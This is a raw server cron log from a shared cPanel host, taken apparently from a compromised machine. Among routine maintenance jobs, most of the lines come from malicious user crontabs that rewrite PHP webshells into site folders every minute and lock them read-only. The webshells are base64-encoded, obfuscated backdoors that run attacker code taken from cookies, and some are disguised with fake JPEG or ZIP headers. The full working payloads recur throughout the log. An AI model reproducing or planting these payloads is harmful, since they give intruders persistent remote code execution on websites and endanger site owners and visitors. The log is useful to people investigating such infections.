Mar  1 07:01:01 medusa CROND[19383]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:01:01 medusa CROND[19385]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:01:01 medusa CROND[19389]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 07:01:01 medusa CROND[19390]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:01:01 medusa CROND[19391]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:01:01 medusa CROND[19393]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:01:01 medusa CROND[19395]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:01:01 medusa CROND[19399]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:01:01 medusa CROND[19388]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 07:02:01 medusa CROND[23013]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:02:01 medusa CROND[23154]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 07:02:01 medusa CROND[23160]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:02:01 medusa CROND[23161]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:02:01 medusa CROND[23166]: (wmondolo) CMD (/usr/local/bin/php -q /home12/wmondolo/public_html/corrector.php > /dev/null)
Mar  1 07:02:01 medusa CROND[23167]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 07:02:01 medusa CROND[23168]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:02:01 medusa CROND[23170]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:02:01 medusa CROND[23173]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:02:01 medusa CROND[23165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:02:01 medusa CROND[23174]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:02:01 medusa CROND[23159]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:02:01 medusa CROND[23177]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:02:01 medusa CROND[23191]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:03:01 medusa CROND[27874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:03:01 medusa CROND[27953]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:03:01 medusa CROND[27954]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
